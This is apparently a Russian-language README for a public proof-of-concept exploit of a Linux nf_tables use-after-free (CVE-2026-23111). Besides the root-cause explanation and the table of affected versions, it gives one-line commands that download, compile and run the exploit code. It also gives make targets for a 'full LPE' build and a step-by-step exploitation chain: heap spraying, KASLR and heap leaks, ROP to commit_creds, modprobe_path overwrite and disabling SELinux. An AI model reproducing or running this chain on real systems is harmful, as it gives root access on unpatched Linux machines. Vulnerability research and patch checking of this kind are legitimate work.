
Использование после освобождения в nf_tables ядра Linux (CVE-2026-23111) — PoC-эксплойт для локального повышения привилегий (LPE)
Уязвимость Use-After-Free в nf_tables ядра Linux (локальное повышение привилегий) poc от baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Диапазон версий | Исправлено в |
|---|---|
| 6.19-rc1 - 6.19-rc8 | 6.19-rc9+ |
| 6.13 - 6.18.9 | 6.18.10 |
| 6.7 - 6.12.69 | 6.12.70 |
| 6.4.1 - 6.5.x | EOL (нет стабильного исправления) |
| 6.3.10 - 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 - 6.1.162 | 6.1.163 |
| 5.15.121 - 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Различные LTS |
CVE-2026-23111 — это use-after-free в nf_tables, вызванный инвертированной проверкой маски поколения в nft_map_catchall_activate(). При откате неудачной транзакции элементы catchall в карте вердиктов, которые были деактивированы с помощью NFT_MSG_DELSET, должны быть реактивированы, чтобы восстановить такие ссылки, как ссылки на цепочку NFT_GOTO. Путь активации catchall вместо этого пропускал неактивные элементы и обрабатывал активные, оставляя деактивированные элементы catchall невосстановленными.
Правильная логика активации (не для catchall):
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* пропускаем активные, обрабатываем неактивные */
Уязвимый путь catchall использовал противоположное условие:
if (!nft_set_elem_active(ext, genmask))
continue; /* пропускаем неактивные, обрабатываем активные */
Когда удалённая карта вердиктов pipapo откатывается, это не позволяет выполнить nft_setelem_data_activate() для неактивного элемента catchall. Для данных вердикта NFT_JUMP/NFT_GOTO ссылка на цепочку, полученная с помощью nft_data_hold(), таким образом не восстанавливается. Повторение последовательности откат/переключение/удаление может привести к обнулению chain->use при том, что другое правило всё ещё содержит действительную ссылку на вердикт этой цепочки. Последующее DELCHAIN может освободить цепочку, пока она остаётся достижимой, что создаёт UAF.
Создание таблицы, базовой цепочки, цепочки-жертвы и карты вердиктов pipapo с catchall NFT_GOTO -> victim
|
Пакет 1: удаление набора pipapo, затем принудительная ошибка транзакции
|
Путь отката вызывает nft_map_catchall_activate(), но инвертированная проверка пропускает неактивный catchall
|
Catchall остаётся неактивным, и счётчик ссылок цепочки-жертвы не восстанавливается
|
Пакет 2: фиксация безвредной транзакции для переключения курсора поколения
|
Пакет 3: успешное удаление набора pipapo, уменьшение счётчика ссылок цепочки-жертвы
|
Пакет 4: удаление цепочки-жертвы, в то время как вердикт базовой цепочки всё ещё ссылается на неё
|
Use-after-free при оценке пакета или дампе правил, следующих по висячей ссылке вердикта
Исправление в upstream: удалить отрицание, чтобы nft_map_catchall_activate() соответствовала nft_mapelem_activate(): активные элементы пропускаются, неактивные реактивируются, и ссылки на вердикты/объекты восстанавливаются при обработке отката.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Используйте, если полный/v1 PoC не работает на целевом ядре.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Сначала установите зависимости сборки, если компилятор не находит заголовки libmnl/libmnl.h или libnftnl:
scripts/install-build-deps.sh
# или
make deps
make # Сборка эксплойта (только PoC)
make v2 # Сборка эксплойта v2 (подход FuzzingLabs — попробовать, если v1 не работает)
make full # Сборка полного LPE-эксплойта
make v3 # Сборка v3 с калибровкой eval-path
make run-d # Запуск PoC с выводом отладки
make run-v2-d # Запуск v2 с выводом отладки
make run-v3 # Показать справку/использование v3
make run-full # Запуск полного LPE
Создаётся набор карт pipapo с элементом catchall (goto цепочка-жертва), затем используется ошибка инвертированной genmask во время отката DELSET для повреждения chain->use. После продвижения счётчика поколений DELCHAIN выполняется успешно, несмотря на висячие ссылки, освобождая цепочку.
После UAF память chain->name освобождается. Мы распыляем структуры seq_operations (32 байта), открывая /proc/self/stat, чтобы занять освобождённый слот slab-кеша. Чтение правила немедленного вердикта базовой цепочки через NFT_MSG_GETRULE выгружает восстановленное имя цепочки, раскрывая указатели функций ядра. Проверка указателей гарантирует, что принимаются только канонические адреса текста ядра.
Повторное инициирование UAF с более длинным именем цепочки (140 байт → kmalloc-cg-192), затем распыление объектов nft_rule для перехвата памяти. Утекшие указатели list_head раскрывают адреса кучи в области direct map.
nft_expr_ops и nft_rule_blobblob_gen_0 цепочкиcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->evalЭксплойт v2 (exploit_v2.c) использует методы, описанные в статье FuzzingLabs, и может применяться, когда PoC v1 не работает. Ключевые отличия:
| Компонент | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| Инициирование UAF | Один набор + правило немедленного goto | Два набора (стиль FuzzingLabs) + правило поиска |
| Чтение KASLR | NFT_MSG_GETRULE (дамп правил) | NFT_MSG_GETELEM (дамп элементов) + запасной GETRULE |
| Утечка кучи | Распыление nft_rule + утечка list_head | Цепочка произвольного чтения init_ipc_ns |
| Хост ROP | nft_rules + пользовательские данные таблицы | msg_msg-2k (сообщение 2048 байт) |
| Инициирование захвата | Оценка пакета на немедленном goto | Оценка пакета на выжившем catchall набора |
| Повышение привилегий | commit_creds + switch_task_namespaces | Перезапись modprobe_path + отключение SELinux |
| Путь возврата | swapgs; iretq | msleep() (остаётся в ядре) |
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (тегированный указатель)
msg_queue + 0xc0 → q_messages.next → адрес кучи msg_msg
Каждый шаг использует освобождённую структуру цепочки как примитив произвольного чтения:
пользовательские данные таблицы (128 байт) перехватывают освобождённый nft_chain в kmalloc-cg-128,
и адрес ядра, размещённый на смещении 0x40 (где живёт chain->name),
разыменовывается ядром во время дампов элементов SET_B.